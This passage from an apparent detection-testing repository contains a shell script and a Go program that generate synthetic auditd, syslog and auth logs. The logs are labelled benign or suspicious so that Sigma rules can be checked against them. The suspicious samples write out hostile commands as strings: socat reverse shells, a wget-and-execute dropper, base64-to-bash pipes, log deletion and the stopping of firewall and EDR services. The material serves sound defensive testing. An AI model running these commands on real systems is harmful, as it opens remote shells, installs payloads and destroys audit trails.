type=EXECVE a0=uname\nauditd_line 20 \"EXECVE\" \\\n    'argc=2 a0=uname a1=-a pid=5000 auid=1000' \\\n    >> \"$AUDITD_LOG\"\n\n# [DETECT] lnx_auditd_system_info_discovery — type=EXECVE a0=hostname\nauditd_line 21 \"EXECVE\" \\\n    'argc=1 a0=hostname pid=5001 auid=1000' \\\n    >> \"$AUDITD_LOG\"\n\n# [DETECT] lnx_auditd_system_info_discovery — type=PATH name=/etc/issue\nauditd_line 22 \"PATH\" \\\n    'item=0 name=/etc/issue inode=456 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL' \\\n    >> \"$AUDITD_LOG\"\n\n# [DETECT] lnx_auditd_password_policy_discovery — type=PATH name=/etc/login.defs\nauditd_line 30 \"PATH\" \\\n    'item=0 name=/etc/login.defs inode=789 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL' \\\n    >> \"$AUDITD_LOG\"\n\n# [DETECT] lnx_auditd_password_policy_discovery — type=EXECVE a0=chage a1=--list\nauditd_line 31 \"EXECVE\" \\\n    'argc=3 a0=chage a1=--list a2=root pid=6000 auid=1000' \\\n    >> \"$AUDITD_LOG\"\n\n# [DETECT] lnx_auditd_password_policy_discovery — type=EXECVE a0=passwd a1=-S\nauditd_line 32 \"EXECVE\" \\\n    'argc=2 a0=passwd a1=-S pid=6001 auid=1000' \\\n    >> \"$AUDITD_LOG\"\n\necho \"Generated: $AUDITD_LOG\"\n\n# ─── Syslog log ──────────────────────────────────────────────────────────────\n\n{\necho \"# Generated test syslog log\"\necho \"# Lines marked [BENIGN] should produce no detections.\"\necho \"# Lines marked [DETECT] should trigger at least one Sigma rule.\"\necho \"\"\necho \"# --- Benign activity ---\"\n\n# [BENIGN] Normal SSH login\nsyslog_line \"Nov\" 14 \"10:00:01\" \"webserver\" \"sshd[1234]\" \"Accepted publickey for deploy from 10.0.0.5 port 51234 ssh2\"\n\n# [BENIGN] Normal sudo usage\nsyslog_line \"Nov\" 14 \"10:01:00\" \"webserver\" \"sudo[2000]\" \"admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/apt-get update\"\n\n# [BENIGN] Normal cron job\nsyslog_line \"Nov\" 14 \"10:05:01\" \"webserver\" \"cron[3000]\" \"(root) CMD (/usr/lib/update-notifier/apt-check --human-readable)\"\n\n# [BENIGN] Normal service start\nsyslog_line \"Nov\" 14 \"10:06:00\" \"webserver\" \"systemd[1]\" \"Started OpenBSD Secure Shell server.\"\n\n# [BENIGN] Normal kernel message\nsyslog_line \"Nov\" 14 \"10:07:15\" \"webserver\" \"kernel\" \"EXT4-fs (sda1): mounted filesystem with ordered data mode.\"\n\necho \"\"\necho \"# --- Suspicious activity (should be detected) ---\"\n\n# [DETECT] lnx_syslog_security_tools_disabling_syslog — 'stopping iptables'\nsyslog_line \"Nov\" 14 \"11:00:01\" \"webserver\" \"systemd[1]\" \"stopping iptables firewall service\"\n\n# [DETECT] lnx_syslog_security_tools_disabling_syslog — 'stopping firewalld'\nsyslog_line \"Nov\" 14 \"11:00:05\" \"webserver\" \"systemd[1]\" \"stopping firewalld dynamic firewall daemon\"\n\n# [DETECT] lnx_clear_syslog — 'rm /var/log/syslog'\nsyslog_line \"Nov\" 14 \"11:05:00\" \"webserver\" \"bash[9001]\" \"rm /var/log/syslog\"\n\n# [DETECT] lnx_clear_syslog — 'rm -rf /var/log/syslog'\nsyslog_line \"Nov\" 14 \"11:05:02\" \"webserver\" \"bash[9002]\" \"rm -rf /var/log/syslog\"\n\n# [DETECT] lnx_shell_susp_commands — 'nc -l -p *'\nsyslog_line \"Nov\" 14 \"11:10:00\" \"webserver\" \"bash[9100]\" \"nc -l -p 4444\"\n\n# [DETECT] lnx_shell_susp_commands — 'socat exec:*'\nsyslog_line \"Nov\" 14 \"11:10:05\" \"webserver\" \"bash[9101]\" \"socat exec:/bin/bash,pty,stderr,setsid tcp:10.0.0.99:4444\"\n\n# [DETECT] lnx_shell_susp_commands — 'wget *; chmod +x*'\nsyslog_line \"Nov\" 14 \"11:15:00\" \"webserver\" \"bash[9200]\" \"wget http://10.0.0.99/shell.sh; chmod +x shell.sh; ./shell.sh\"\n\n# [DETECT] lnx_shell_susp_commands — '| base64 -d '\nsyslog_line \"Nov\" 14 \"11:15:10\" \"webserver\" \"bash[9201]\" \"echo aGVsbG8= | base64 -d | bash\"\n\n# [DETECT] lnx_shell_susp_commands — 'chmod +s /tmp/*'\nsyslog_line \"Nov\" 14 \"11:20:00\" \"webserver\" \"bash[9300]\" \"chmod +s /tmp/rootkit\"\n\n} > \"$SYSLOG_LOG\"\n\necho \"Generated: $SYSLOG_LOG\"\n\n# ─── Auth log ─────────────────────────────────────────────────────────────────\n# auth.log uses the same syslog format — scan it with:\n#   -target syslog -rules ./rules/linux/builtin/sshd/ -file testdata/generated_auth.log\n\n{\necho \"# Generated test auth log\"\necho \"# Lines marked [BENIGN] should produce no detections.\"\necho \"# Lines marked [DETECT] should trigger at least one Sigma rule.\"\necho \"\"\necho \"# --- Benign activity ---\"\n\n# [BENIGN] Successful password auth\nsyslog_line \"Nov\" 14 \"10:00:01\" \"server\" \"sshd[1001]\" \"Accepted password for alice from 10.0.0.10 port 52345 ssh2\"\n\n# [BENIGN] Successful key auth\nsyslog_line \"Nov\" 14 \"10:00:05\" \"server\" \"sshd[1002]\" \"Accepted publickey for bob from 10.0.0.11 port 52400 ssh2\"\n\n# [BENIGN] Normal session open\nsyslog_line \"Nov\" 14 \"10:00:06\" \"server\" \"sshd[1002]\" \"pam_unix(sshd:session): session opened for user bob by (uid=0)\"\n\n# [BENIGN] Failed password (normal brute-force noise, not an exploit attempt)\nsyslog_line \"Nov\" 14 \"10:01:00\" \"server\" \"sshd[1003]\" \"Failed password for invalid user ftp from 1.2.3.4 port 41234 ssh2\"\n\n# [BENIGN] Normal session close\nsyslog_line \"Nov\" 14 \"10:05:00\" \"server\" \"sshd[1002]\" \"pam_unix(sshd:session): session closed for user bob\"\n\necho \"\"\necho \"# --- Suspicious activity (should be detected) ---\"\n\n# [DETECT] lnx_sshd_susp_ssh — 'error in libcrypto' (exploit attempt)\nsyslog_line \"Nov\" 14 \"11:00:01\" \"server\" \"sshd[2001]\" \"error in libcrypto\"\n\n# [DETECT] lnx_sshd_susp_ssh — 'unexpected internal error'\nsyslog_line \"Nov\" 14 \"11:00:02\" \"server\" \"sshd[2002]\" \"unexpected internal error from 1.2.3.4 port 55123\"\n\n# [DETECT] lnx_sshd_susp_ssh — 'bad client public DH value'\nsyslog_line \"Nov\" 14 \"11:00:03\" \"server\" \"sshd[2003]\" \"bad client public DH value from 1.2.3.4 port 55124\"\n\n# [DETECT] lnx_sshd_susp_ssh — 'Corrupted MAC on input'\nsyslog_line \"Nov\" 14 \"11:00:04\" \"server\" \"sshd[2004]\" \"Corrupted MAC on input\"\n\n# [DETECT] lnx_sshd_susp_ssh — 'Local: crc32 compensation attack'\nsyslog_line \"Nov\" 14 \"11:00:05\" \"server\" \"sshd[2005]\" \"Local: crc32 compensation attack detected\"\n\n} > \"$AUTH_LOG\"\n\necho \"Generated: $AUTH_LOG\"\n\n# ─── Summary ─────────────────────────────────────────────────────────────────\n\ncat << 'EOF'\n\nRun against generated logs:\n\n  # Auditd\n  go run . -target auditd -rules ./rules/linux/auditd/ -file testdata/generated_auditd.log\n\n  # Syslog\n  go run . -target syslog -rules ./rules/linux/builtin/ -file testdata/generated_syslog.log\n\n  # Auth log (uses syslog target + sshd rules)\n  go run . -target syslog -rules ./rules/linux/builtin/sshd/ -file testdata/generated_auth.log\n\n  # JSON output\n  go run . -target auditd  -rules ./rules/linux/auditd/            -file testdata/generated_auditd.log  -out json\n  go run . -target syslog  -rules ./rules/linux/builtin/           -file testdata/generated_syslog.log  -out json\n  go run . -target syslog  -rules ./rules/linux/builtin/sshd/      -file testdata/generated_auth.log    -out json\n\n  # Sanity check — benign-only files, expect zero hits\n  go run . -target auditd  -rules ./rules/linux/auditd/            -file testdata/auditd.log   -out json\n  go run . -target syslog  -rules ./rules/linux/builtin/           -file testdata/syslog.log   -out json\n\nExpected auditd detections:\n  - Suspicious C2 Activities          (nc, wget with key=susp_activity)\n  - System Information Discovery      (uname, hostname, /etc/issue)\n  - Password Policy Discovery         (chage --list, passwd -S, /etc/login.defs)\n\nExpected syslog detections:\n  - Disabling Security Tools          (stopping iptables, stopping firewalld)\n  - Commands to Clear or Remove Syslog (rm /var/log/syslog)\n  - Suspicious Activity in Shell Commands (nc -l -p, socat exec, wget+chmod, base64 -d, chmod +s)\n\nExpected auth log detections:\n  - Suspicious OpenSSH Daemon Error   (error in libcrypto, bad DH value, Corrupted MAC, crc32 attack)\nEOF\n"
  },
  {
    "path": "scripts/genlog/main.go",
    "content": "// genlog generates synthetic auditd, syslog, and auth log files for testing.\n//\n// Usage:\n//\n//\tgo run ./scripts/genlog [flags]\n//\n// Flags:\n//\n//\t-seed   int    random seed (default: random, printed so you can replay)\n//\t-count  int    approximate number of events per log file (default: 200)\n//\t-ratio  float  fraction of events that are suspicious (default: 0.2)\n//\t-out    string output directory (default: testdata)\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"time\"\n)\n\n// ─── CLI ─────────────────────────────────────────────────────────────────────\n\nfunc main() {\n\tseedFlag := flag.Int64(\"seed\", 0, \"random seed (0 = use current time)\")\n\tcount := flag.Int(\"count\", 200, \"approximate events per log file\")\n\tratio := flag.Float64(\"ratio\", 0.2, \"fraction of events that should be suspicious (0.0–1.0)\")\n\toutDir := flag.String(\"out\", \"testdata\", \"output directory\")\n\tflag.Parse()\n\n\tseed := *seedFlag\n\tif seed == 0 {\n\t\tseed = time.Now().UnixNano()\n\t}\n\tfmt.Printf(\"seed: %d  (replay with -seed %d)\\n\", seed, seed)\n\n\tif err := os.MkdirAll(*outDir, 0755); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"error creating output dir: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\trng := rand.New(rand.NewSource(seed))\n\tbaseTime := time.Date(2023, 11, 14, 8, 0, 0, 0, time.UTC)\n\n\tfiles := []struct {\n\t\tname string\n\t\tfn   func(*rand.Rand, time.Time, int, float64) ([]entry, time.Time)\n\t}{\n\t\t{\"generated_auditd.log\", generateAuditd},\n\t\t{\"generated_syslog.log\", generateSyslog},\n\t\t{\"generated_auth.log\", generateAuth},\n\t}\n\n\tfor _, f := range files {\n\t\tentries, _ := f.fn(rng, baseTime, *count, *ratio)\n\t\tpath := filepath.Join(*outDir, f.name)\n\t\tif err := writeLog(path, entries); err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"error writing %s: %v\\n\", path, err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tprintSummary(path, entries)\n\t}\n}\n\n// ─── Entry ───────────────────────────────────────────────────────────────────\n\ntype entry struct {\n\tline      string\n\trule      string // empty = benign\n}\n\nfunc (e entry) suspicious() bool { return e.rule != \"\" }\n\nfunc writeLog(path string, entries []entry) error {\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\tfmt.Fprintf(f, \"# Generated by genlog — %s\\n\", time.Now().UTC().Format(time.RFC3339))\n\tfmt.Fprintf(f, \"# Benign entries produce no rule matches.\\n\")\n\tfmt.Fprintf(f, \"# Entries with a rule comment should trigger that rule.\\n\\n\")\n\n\tfor _, e := range entries {\n\t\tif e.suspicious() {\n\t\t\tfmt.Fprintf(f, \"# [DETECT] %s\\n\", e.rule)\n\t\t}\n\t\tfmt.Fprintln(f, e.line)\n\t}\n\treturn nil\n}\n\nfunc printSummary(path string, entries []entry) {\n\tsusp := 0\n\trules := map[string]int{}\n\tfor _, e := range entries {\n\t\tif e.suspicious() {\n\t\t\tsusp++\n\t\t\trules[e.rule]++\n\t\t}\n\t}\n\tfmt.Printf(\"\\n%s\\n\", path)\n\tfmt.Printf(\"  total: %d  suspicious: %d  benign: %d\\n\", len(entries), susp, len(entries)-susp)\n\tfor rule, n := range rules {\n\t\tfmt.Printf(\"  %-55s x%d\\n\", rule, n)\n\t}\n}\n\n// ─── Helpers ─────────────────────────────────────────────────────────────────\n\nfunc pick[T any](rng *rand.Rand, items []T) T {\n\treturn items[rng.Intn(len(items))]\n}\n\nfunc randPID(rng *rand.Rand) int { return rng.Intn(64535) + 1000 }\nfunc randUID(rng *rand.Rand) int { return pick(rng, []int{0, 0, 1000, 1001, 1002}) }\n\nfunc advanceTime(rng *rand.Rand, cur time.Time) time.Time {\n\t// Random gap between 1 second and 3 minutes\n\tsecs := time.Duration(rng.Intn(180)+1) * time.Second\n\treturn cur.Add(secs)\n}\n\nvar (\n\thostnames = []string{\"webserver\", \"db-01\", \"dev-box\", \"bastion\", \"worker-3\", \"fileserver\"}\n\tusernames = []string{\"alice\", \"bob\", \"deploy\", \"admin\", \"charlie\", \"svc-backup\"}\n\tsrcIPs    = []string{\"10.0.0.5\", \"10.0.0.11\", \"192.168.1.50\", \"172.16.4.22\", \"10.10.0.99\"}\n)\n\n// ─── Auditd ──────────────────────────────────────────────────────────────────\n\nfunc generateAuditd(rng *rand.Rand, start time.Time, count int, ratio float64) ([]entry, time.Time) {\n\tcur := start\n\tseq := 1000 + rng.Intn(500)\n\tvar entries []entry\n\n\tfor i := 0; i < count; i++ {\n\t\tcur = advanceTime(rng, cur)\n\t\tseq += rng.Intn(3) + 1\n\t\tts := cur.Unix()\n\n\t\tif rng.Float64() < ratio {\n\t\t\t// Suspicious events are correlated groups so merged events have\n\t\t\t// fully populated columns (exe, auid, pid from SYSCALL).\n\t\t\tentries = append(entries, auditdSuspicious(rng, ts, seq)...)\n\t\t} else {\n\t\t\tentries = append(entries, auditdBenign(rng, ts, seq))\n\t\t}\n\t}\n\treturn entries, cur\n}\n\nfunc auditField(ts int64, seq int, typ, fields string) string {\n\treturn fmt.Sprintf(\"type=%s msg=audit(%d.%03d:%d): %s\",\n\t\ttyp, ts, 0, seq, fields)\n}\n\nfunc auditdBenign(rng *rand.Rand, ts int64, seq int) entry {\n\tpid := randPID(rng)\n\tuid := rng.Intn(2) * 1000 // 0 or 1000\n\n\ttype tmpl struct{ typ, fields string }\n\ttemplates := []tmpl{\n\t\t// Normal file reads\n\t\t{\"SYSCALL\", fmt.Sprintf(\n\t\t\t\"arch=c000003e syscall=2 success=yes exit=3 ppid=%d pid=%d auid=%d uid=%d gid=%d euid=%d suid=%d fsuid=%d egid=%d sgid=%d fsgid=%d tty=pts0 ses=1 comm=%q exe=%q key=(null)\",\n\t\t\trandPID(rng), pid, uid, uid, uid, uid, uid, uid, uid, uid, uid,\n\t\t\tpick(rng, []string{\"cat\", \"ls\", \"grep\", \"stat\", \"head\"}),\n\t\t\tpick(rng, []string{\"/bin/cat\", \"/bin/ls\", \"/bin/grep\", \"/usr/bin/stat\"}),\n\t\t)},\n\t\t// Normal EXECVE\n\t\t{\"EXECVE\", fmt.Sprintf(\n\t\t\t\"argc=1 a0=%q pid=%d auid=%d\",\n\t\t\tpick(rng, []string{\"run-parts\", \"systemctl\", \"apt-check\", \"logrotate\", \"update-notifier\"}),\n\t\t\tpid, uid,\n\t\t)},\n\t\t// Normal PATH\n\t\t{\"PATH\", fmt.Sprintf(\n\t\t\t\"item=0 name=%s inode=%d dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL\",\n\t\t\tpick(rng, []string{\"/etc/hosts\", \"/etc/resolv.conf\", \"/var/log/syslog\", \"/etc/crontab\", \"/proc/cpuinfo\"}),\n\t\t\trng.Intn(999999)+1000,\n\t\t)},\n\t\t// Successful auth\n\t\t{\"USER_AUTH\", fmt.Sprintf(\n\t\t\t\"pid=%d uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct=%q exe=\\\"/usr/sbin/sshd\\\" hostname=%s addr=%s terminal=ssh res=success'\",\n\t\t\tpid,\n\t\t\tpick(rng, usernames),\n\t\t\tpick(rng, srcIPs),\n\t\t\tpick(rng, srcIPs),\n\t\t)},\n\t\t// Normal CWD\n\t\t{\"CWD\", fmt.Sprintf(\n\t\t\t\"cwd=%q\",\n\t\t\tpick(rng, []string{\"/home/alice\", \"/root\", \"/var/log\", \"/tmp\", \"/opt/app\"}),\n\t\t)},\n\t}\n\n\tchosen := templates[rng.Intn(len(templates))]\n\treturn entry{line: auditField(ts, seq, chosen.typ, chosen.fields)}\n}\n\n// auditdSuspicious returns a correlated group of records sharing the same seq.\n// The SYSCALL record always comes first so correlation merges exe/auid/pid into\n// the final event — whatever subsequent record type triggers the sigma rule,\n// the output row will have fully populated columns.\nfunc auditdSuspicious(rng *rand.Rand, ts int64, seq int) []entry {\n\tpid := randPID(rng)\n\tppid := randPID(rng)\n\tauid := 1000 + rng.Intn(3)\n\n\ttype suspTmpl struct {\n\t\tcomm, exe         string // for SYSCALL\n\t\tsecondType        string // EXECVE or PATH\n\t\tsecondFields      string\n\t\trule              string\n\t}\n\n\ttemplates := []suspTmpl{\n\t\t// lnx_auditd_susp_c2_commands\n\t\t{\n\t\t\tcomm: pick(rng, []string{\"nc\", \"ncat\", \"socat\", \"nmap\", \"base64\", \"wget\", \"curl\"}),\n\t\t\texe:  pick(rng, []string{\"/bin/nc\", \"/usr/bin/ncat\", \"/usr/bin/socat\", \"/usr/bin/nmap\", \"/usr/bin/base64\", \"/usr/bin/wget\", \"/usr/bin/curl\"}),\n\t\t\tsecondType: \"EXECVE\",\n\t\t\tsecondFields: fmt.Sprintf(\"argc=2 a0=%q a1=%q\",\n\t\t\t\tpick(rng, []string{\"nc\", \"ncat\", \"socat\"}),\n\t\t\t\tpick(rng, srcIPs),\n\t\t\t),\n\t\t\trule: \"lnx_auditd_susp_c2_commands\",\n\t\t},\n\t\t// lnx_auditd_system_info_discovery\n\t\t{\n\t\t\tcomm: pick(rng, []string{\"uname\", \"hostname\", \"lsmod\", \"env\"}),\n\t\t\texe:  pick(rng, []string{\"/usr/bin/uname\", \"/usr/bin/hostname\", \"/sbin/lsmod\", \"/usr/bin/env\"}),\n\t\t\tsecondType: \"EXECVE\",\n\t\t\tsecondFields: fmt.Sprintf(\"argc=2 a0=%q a1=%q\",\n\t\t\t\tpick(rng, []string{\"uname\", \"hostname\"}),\n\t\t\t\tpick(rng, []string{\"-a\", \"-r\", \"--all\"}),\n\t\t\t),\n\t\t\trule: \"lnx_auditd_system_info_discovery\",\n\t\t},\n\t\t// lnx_auditd_system_info_discovery via PATH\n\t\t{\n\t\t\tcomm: \"cat\",\n\t\t\texe:  \"/bin/cat\",\n\t\t\tsecondType: \"PATH\",\n\t\t\tsecondFields: fmt.Sprintf(\"item=0 name=%s inode=%d dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL\",\n\t\t\t\tpick(rng, []string{\"/etc/lsb-release\", \"/etc/redhat-release\", \"/etc/issue\"}),\n\t\t\t\trng.Intn(999999)+1000,\n\t\t\t),\n\t\t\trule: \"lnx_auditd_system_info_discovery\",\n\t\t},\n\t\t// lnx_auditd_password_policy_discovery via PATH\n\t\t{\n\t\t\tcomm: \"cat\",\n\t\t\texe:  \"/bin/cat\",\n\t\t\tsecondType: \"PATH\",\n\t\t\tsecondFields: fmt.Sprintf(\"item=0 name=%s inode=%d dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL\",\n\t\t\t\tpick(rng, []string{\"/etc/login.defs\", \"/etc/pam.d/common-auth\", \"/etc/pam.d/common-password\", \"/etc/security/pwquality.conf\"}),\n\t\t\t\trng.Intn(999999)+1000,\n\t\t\t),\n\t\t\trule: \"lnx_auditd_password_policy_discovery\",\n\t\t},\n\t\t// lnx_auditd_password_policy_discovery via EXECVE chage\n\t\t{\n\t\t\tcomm: \"chage\",\n\t\t\texe:  \"/usr/bin/chage\",\n\t\t\tsecondType: \"EXECVE\",\n\t\t\tsecondFields: fmt.Sprintf(\"argc=3 a0=chage a1=%q a2=%q\",\n\t\t\t\tpick(rng, []string{\"--list\", \"-l\"}),\n\t\t\t\tpick(rng, usernames),\n\t\t\t),\n\t\t\trule: \"lnx_auditd_password_policy_discovery\",\n\t\t},\n\t}\n\n\tt := templates[rng.Intn(len(templates))]\n\n\tsyscallFields := fmt.Sprintf(\n\t\t\"arch=c000003e syscall=59 success=yes exit=0 ppid=%d pid=%d auid=%d uid=%d gid=%d euid=%d suid=%d fsuid=%d egid=%d sgid=%d fsgid=%d tty=pts1 ses=3 comm=%q exe=%q key=susp_activity\",\n\t\tppid, pid, auid, auid, auid, auid, auid, auid, auid, auid, auid, t.comm, t.exe,\n\t)\n\n\treturn []entry{\n\t\t{line: auditField(ts, seq, \"SYSCALL\", syscallFields), rule: t.rule},\n\t\t{line: auditField(ts, seq, t.secondType, t.secondFields)},\n\t}\n}\n\n// ─── Syslog ──────────────────────────────────────────────────────────────────\n\nfunc generateSyslog(rng *rand.Rand, start time.Time, count int, ratio float64) ([]entry, time.Time) {\n\tcur := start\n\tvar entries []entry\n\n\tfor i := 0; i < count; i++ {\n\t\tcur = advanceTime(rng, cur)\n\t\tvar e entry\n\t\tif rng.Float64() < ratio {\n\t\t\te = syslogSuspicious(rng, cur)\n\t\t} else {\n\t\t\te = syslogBenign(rng, cur)\n\t\t}\n\t\tentries = append(entries, e)\n\t}\n\treturn entries, cur\n}\n\nfunc syslogTS(t time.Time) string {\n\treturn t.Format(\"Jan _2 15:04:05\")\n}\n\nfunc syslogLine(t time.Time, host, proc, msg string) string {\n\treturn fmt.Sprintf(\"%s %s %s: %s\", syslogTS(t), host, proc, msg)\n}\n\nfunc syslogBenign(rng *rand.Rand, t time.Time) entry {\n\thost := pick(rng, hostnames)\n\tpid := randPID(rng)\n\tuser := pick(rng, usernames)\n\tip := pick(rng, srcIPs)\n\n\ttype tmpl struct{ proc, msg string }\n\ttemplates := []tmpl{\n\t\t{fmt.Sprintf(\"sshd[%d]\", pid), fmt.Sprintf(\"Accepted %s for %s from %s port %d ssh2\",\n\t\t\tpick(rng, []string{\"password\", \"publickey\"}), user, ip, 20000+rng.Intn(45535))},\n\t\t{fmt.Sprintf(\"sshd[%d]\", pid), fmt.Sprintf(\"Disconnected from %s port %d\", ip, 20000+rng.Intn(45535))},\n\t\t{fmt.Sprintf(\"sudo[%d]\", pid), fmt.Sprintf(\"%s : TTY=pts/%d ; PWD=/home/%s ; USER=root ; COMMAND=%s\",\n\t\t\tuser, rng.Intn(5), user,\n\t\t\tpick(rng, []string{\"/usr/bin/apt-get update\", \"/bin/systemctl restart nginx\", \"/usr/sbin/logrotate\", \"/usr/bin/journalctl -xe\"}))},\n\t\t{fmt.Sprintf(\"cron[%d]\", pid), fmt.Sprintf(\"(root) CMD (%s)\",\n\t\t\tpick(rng, []string{\"/usr/lib/update-notifier/apt-check\", \"/etc/cron.daily/logrotate\", \"/usr/sbin/ntpdate pool.ntp.org\", \"test -x /usr/sbin/anacron\"}))},\n\t\t{fmt.Sprintf(\"systemd[%d]\", pid), fmt.Sprintf(\"Started %s.\",\n\t\t\tpick(rng, []string{\"OpenBSD Secure Shell server\", \"Daily apt upgrade and clean activities\", \"Rotate log files\", \"Network Manager\"}))},\n\t\t{fmt.Sprintf(\"kernel\"), fmt.Sprintf(\"EXT4-fs (%s): %s\",\n\t\t\tpick(rng, []string{\"sda1\", \"sdb1\", \"nvme0n1p1\"}),\n\t\t\tpick(rng, []string{\"mounted filesystem with ordered data mode.\", \"recovery complete.\", \"1 orphan inode deleted.\"}))},\n\t\t{fmt.Sprintf(\"sshd[%d]\", pid), fmt.Sprintf(\"pam_unix(sshd:session): session %s for user %s by (uid=0)\",\n\t\t\tpick(rng, []string{\"opened\", \"closed\"}), user)},\n\t\t{fmt.Sprintf(\"NetworkManager[%d]\", pid), fmt.Sprintf(\"<info>  [%s] device (%s): state change: activated -> deactivated\",\n\t\t\tt.Format(\"1504.05\"), pick(rng, []string{\"eth0\", \"eth1\", \"ens3\", \"ens33\"}))},\n\t}\n\n\tchosen := templates[rng.Intn(len(templates))]\n\treturn entry{line: syslogLine(t, host, chosen.proc, chosen.msg)}\n}\n\nfunc syslogSuspicious(rng *rand.Rand, t time.Time) entry {\n\thost := pick(rng, hostnames)\n\tpid := randPID(rng)\n\tport := 1024 + rng.Intn(64511)\n\tip := pick(rng, srcIPs)\n\n\ttype suspTmpl struct{ proc, msg, rule string }\n\ttemplates := []suspTmpl{\n\t\t// lnx_syslog_security_tools_disabling_syslog\n\t\t{fmt.Sprintf(\"systemd[%d]\", pid),\n\t\t\tpick(rng, []string{\n\t\t\t\t\"stopping iptables firewall service\",\n\t\t\t\t\"stopping ip6tables ipv6 firewall\",\n\t\t\t\t\"stopping firewalld dynamic firewall daemon\",\n\t\t\t\t\"stopping cbdaemon Carbon Black defense\",\n\t\t\t\t\"stopping falcon-sensor CrowdStrike Falcon\",\n\t\t\t}),\n\t\t\t\"lnx_syslog_security_tools_disabling_syslog\"},\n\n\t\t// lnx_clear_syslog\n\t\t{fmt.Sprintf(\"bash[%d]\", pid),\n\t\t\tpick(rng, []string{\n\t\t\t\t\"rm /var/log/syslog\",\n\t\t\t\t\"rm -f /var/log/syslog\",\n\t\t\t\t\"rm -rf /var/log/syslog\",\n\t\t\t\t\"mv /var/log/syslog /dev/null\",\n\t\t\t\t\" > /var/log/syslog\",\n\t\t\t}),\n\t\t\t\"lnx_clear_syslog\"},\n\n\t\t// lnx_shell_susp_commands — netcat listener\n\t\t{fmt.Sprintf(\"bash[%d]\", pid),\n\t\t\tfmt.Sprintf(\"nc -l -p %d\", port),\n\t\t\t\"lnx_shell_susp_commands\"},\n\n\t\t// lnx_shell_susp_commands — socat reverse shell\n\t\t{fmt.Sprintf(\"bash[%d]\", pid),\n\t\t\tfmt.Sprintf(\"socat exec:/bin/bash,pty,stderr,setsid tcp:%s:%d\", ip, port),\n\t\t\t\"lnx_shell_susp_commands\"},\n\n\t\t// lnx_shell_susp_commands — wget dropper\n\t\t{fmt.Sprintf(\"bash[%d]\", pid),\n\t\t\tfmt.Sprintf(\"wget http://%s/%s; chmod +x %s; ./%s\",\n\t\t\t\tip,\n\t\t\t\tpick(rng, []string{\"shell.sh\", \"payload.elf\", \"backdoor\", \"install.sh\"}),\n\t\t\t\tpick(rng, []string{\"shell.sh\", \"payload.elf\", \"backdoor\", \"install.sh\"}),\n\t\t\t\tpick(rng, []string{\"shell.sh\", \"payload.elf\", \"backdoor\", \"install.sh\"}),\n\t\t\t),\n\t\t\t\"lnx_shell_susp_commands\"},\n\n\t\t// lnx_shell_susp_commands — base64 decode pipe\n\t\t{fmt.Sprintf(\"bash[%d]\", pid),\n\t\t\tfmt.Sprintf(\"echo %s | base64 -d | bash\",\n\t\t\t\tpick(rng, []string{\"aGVsbG8=\", \"L2Jpbi9iYXNo\", \"d2dldCBodHRwOi8v\"})),\n\t\t\t\"lnx_shell_susp_commands\"},\n\n\t\t// lnx_shell_susp_commands — setuid on tmp file\n\t\t{fmt.Sprintf(\"bash[%d]\", pid),\n\t\t\tfmt.Sprintf(\"chmod +s /tmp/%s\",\n\t\t\t\tpick(rng, []string{\"rootkit\", \"backdoor\", \"x\", \"exploit\", \"shell\"})),\n\t\t\t\"lnx_shell_susp_commands\"},\n\n\t\t// lnx_shell_susp_commands — python SimpleHTTPServer\n\t\t{fmt.Sprintf(\"bash[%d]\", pid),\n\t\t\tfmt.Sprintf(\"python -m SimpleHTTPServer %d\", port),\n\t\t\t\"lnx_shell_susp_commands\"},\n\n\t\t// lnx_shell_susp_commands — socat tcp-connect\n\t\t{fmt.Sprintf(\"bash[%d]\", pid),\n\t\t\tfmt.Sprintf(\"socat tcp-connect:%s:%d exec:/bin/sh\", ip, port),\n\t\t\t\"lnx_shell_susp_commands\"},\n\t}\n\n\ttmpl := templates[rng.Intn(len(templates))]\n\treturn entry{\n\t\tline: syslogLine(t, host, tmpl.proc, tmpl.msg),\n\t\trule: tmpl.rule,\n\t}\n}\n\n// ─── Auth log ─────────────────────────────────────────────────────────────────\n\nfunc generateAuth(rng *rand.Rand, start time.Time, count int, ratio float64) ([]entry, time.Time) {\n\tcur := start\n\tvar entries []entry\n\n\tfor i := 0; i < count; i++ {\n\t\tcur = advanceTime(rng, cur)\n\t\tvar e entry\n\t\tif rng.Float64() < ratio {\n\t\t\te = authSuspicious(rng, cur)\n\t\t} else {\n\t\t\te = authBenign(rng, cur)\n\t\t}\n\t\tentries = append(entries, e)\n\t}\n\treturn entries, cur\n}\n\nfunc authBenign(rng *rand.Rand, t time.Time) entry {\n\thost := pick(rng, hostnames)\n\tpid := randPID(rng)\n\tuser := pick(rng, usernames)\n\tip := pick(rng, srcIPs)\n\tport := 20000 + rng.Intn(45535)\n\n\ttype tmpl struct{ proc, msg string }\n\ttemplates := []tmpl{\n\t\t{fmt.Sprintf(\"sshd[%d]\", pid),\n\t\t\tfmt.Sprintf(\"Accepted %s for %s from %s port %d ssh2\",\n\t\t\t\tpick(rng, []string{\"password\", \"publickey\"}), user, ip, port)},\n\t\t{fmt.Sprintf(\"sshd[%d]\", pid),\n\t\t\tfmt.Sprintf(\"Failed password for %s from %s port %d ssh2\", user, ip, port)},\n\t\t{fmt.Sprintf(\"sshd[%d]\", pid),\n\t\t\tfmt.Sprintf(\"Failed password for invalid user %s from %s port %d ssh2\",\n\t\t\t\tpick(rng, []string{\"ftp\", \"test\", \"admin\", \"root\", \"pi\"}), ip, port)},\n\t\t{fmt.Sprintf(\"sshd[%d]\", pid),\n\t\t\tfmt.Sprintf(\"pam_unix(sshd:session): session %s for user %s by (uid=0)\",\n\t\t\t\tpick(rng, 